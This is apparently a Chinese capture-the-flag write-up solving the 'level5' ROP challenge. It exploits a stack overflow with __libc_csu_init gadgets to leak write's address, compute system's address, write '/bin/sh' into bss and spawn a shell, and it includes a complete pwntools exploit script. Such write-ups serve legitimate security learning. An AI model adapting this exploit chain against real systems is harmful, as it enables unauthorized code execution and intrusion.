ROP-中等-level5

這個題做了一下午。

文件下載地址:

鏈接:https://pan.baidu.com/s/1Ix7kc1ulu9a3OktifdUWWw
提取碼:etug 

0x01.分析

checksec:

64位程序,開啓NX。

源碼:

存在棧溢出,可利用的函數有red和write。暫時沒有思路了。。。

0x02.新知識:利用__libc_csu_init

  • 在x64程序中,前六個整型或指針參數依次保存在RDI, RSI, RDX, RCX, R8 和 R9 寄存器中,如果還有更多的參數的話纔會保存在棧上。
  • 在 64 位程序中,函數的前 6 個參數是通過寄存器傳遞的,但是大多數時候,我們很難找到每一個寄存器對應的gadgets。 這時候,我們可以利用 x64 下的 __libc_csu_init 中的 gadgets。這個函數是用來對 libc 進行初始化操作的,而一般的程序都會調用 libc 函數,所以這個函數一定會存在,看一下這個函數(當然,不同版本的這個函數有一定的區別)。

發現這段彙編碼,有很多可以利用的地方。

利用0x400606處的代碼我們可以控制rbx,rbp,r12,r13,r14和r15的值

利用0x4005f0處的代碼將r15的值賦值給rdx, r14的值賦值給rsi,r13的值賦值給edi,隨後就會調用call qword ptr [r12+rbx*8],

這其實就是調用了r12處的地址,這時候將rbx賦值0,可以將想調用的函數地址傳給r12。執行完函數之後,程序會對rbx+=1,然後對比rbp和rbx的值,如果相等就會繼續向下執行並ret到我們想要繼續執行的地址。所以爲了讓rbp和rbx的值相等,我們可以將rbp的值設置爲1。

我們可以這樣設置這些寄存器的值:

rbx 0
rbp 1
r12 想調用的函數的地址
r13 rdi(函數的第一個參數)
r14 rsi(函數的第二個參數)

r15

 

rdx(函數的第三個參數)

 我們可以理清一下大概思路:

  1. 利用棧溢出執行 libc_csu_gadgets 獲取 write 函數的真實地址(因爲用過一次了直接可以用got表中地址),並使得程序重新執行 main 函數。
  2. 根據 libcsearcher 獲取對應 libc 版本以及 execve 函數地址。
  3. 再次利用棧溢出執行 libc_csu_gadgets 向 bss 段寫入 execve 地址以及 ‘/bin/sh’ 地址,並使得程序重新執行 main 函數。
  4. 再次利用棧溢出執行 libc_csu_gadgets 執行 execve(’/bin/sh’) 獲取 shell。

總共需要三次棧溢出,首先確定一下偏移量:80h+8=136。

由於每次都需要用到相同的原理,所以我們可以寫一個函數。

0x03.exp
 

##!/usr/bin/env python
from pwn import*
from LibcSearcher import LibcSearcher

#context.log_level='debug'

r=process('./level5')
elf=ELF('./level5')

write_got=elf.got['write']
read_got=elf.got['read']
main_adr=elf.symbols['_start']
bss_adr=elf.bss()
csu_front_adr=0x00000000004005F0
csu_last_adr=0x0000000000400606
fackebp=8*'A'

def csu(rbx,rbp,r12,r13,r14,r15,last):
    payload=128*'A'+fackebp
    payload+=p64(csu_last_adr)
    payload+=p64(0)
    payload+=p64(rbx)
    payload+=p64(rbp)
    payload+=p64(r12)
    payload+=p64(r13)
    payload+=p64(r14)
    payload+=p64(r15)
    payload+=p64(csu_front_adr)
    payload+=56*'A'
    payload+=p64(last)
    r.send(payload)
    sleep(1)


r.recvuntil('Hello, World\n')
print "send payload first"
# write(1,write_got,8)
csu(0,1,write_got,1,write_got,8,main_adr)

write_adr=u64(r.recv(8))
print "write_adr: " + hex(write_adr)
write_libc= 0x110140
system_libc=0x04f440
offset=write_adr-write_libc
system_adr=offset+system_libc

r.recvuntil('Hello, World\n')
print "send payload seconed"
# read(0,bss_adr,16)
csu(0,1,read_got,0,bss_adr,16,main_adr)
r.send(p64(system_adr)+"/bin/sh\x00")

r.recvuntil('Hello, World\n')
print "send payload third"
# system(bss_adr+8)
csu(0,1,bss_adr,bss_adr+8,0,0,main_adr)
r.interactive()

 

 0x04.詳解

這個題的整體思路是利用已存在的__libc_csu_init中的兩個有效片段,多次溢出,得到libc中system的地址,再次溢出獲取shell。

腳本中有一個函數,這個函數充分利用了已知的那個兩個有效片段。關於這個函數的具體解釋:

  • 這個函數完成的功能是:調用一個函數,並傳入設置好的參數,執行完這個函數後,執行last處的地址。
  • rbp,rbx的值的設定是爲了後面執行完第一個片段後,繼續執行下面的片段,並返回。
  • r12爲需要執行的函數的地址,因爲第二個片段裏有call qword ptr [r12+rbx*8]語句,會執行r12處的指令。
  • r13,r14,r15爲函數的三個參數。
  • last爲返回後要執行的地址。
  • fackebp的含義是填充ebp,爲8個字節。
  • 第一個payload+=p64(0)的目的是:將棧佔了8位空間

  • 後面要填充56個字節的由來:

這裏6個寄存器需要6*8=48的空間,後面還有一條指令,一共48+8=56個字節。

 

第一次執行完這個函數時,將write的地址打印出來了,爲:

如果直接使用LibcSearcher的話,有兩百多種可能,不好用,於是我們可以通過後三位去找到libc的版本:

https://libc.blukat.me/

就兩種可能,可以一一嘗試,但看64位的程序就想到了第二個。

然後我們就可以計算處偏移量和system的地址了。

然後再一次溢出,執行read函數,將system的地址和/bin/sh一起寫入bss段。

最後一次溢出,獲取bss段的相應地址,執行system(“/bin/sh”)。

get shell!!!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章